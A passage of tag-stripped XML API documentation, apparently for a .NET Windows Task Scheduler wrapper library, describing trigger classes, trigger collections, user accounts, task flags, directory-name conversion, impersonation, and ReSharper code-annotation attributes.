when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, 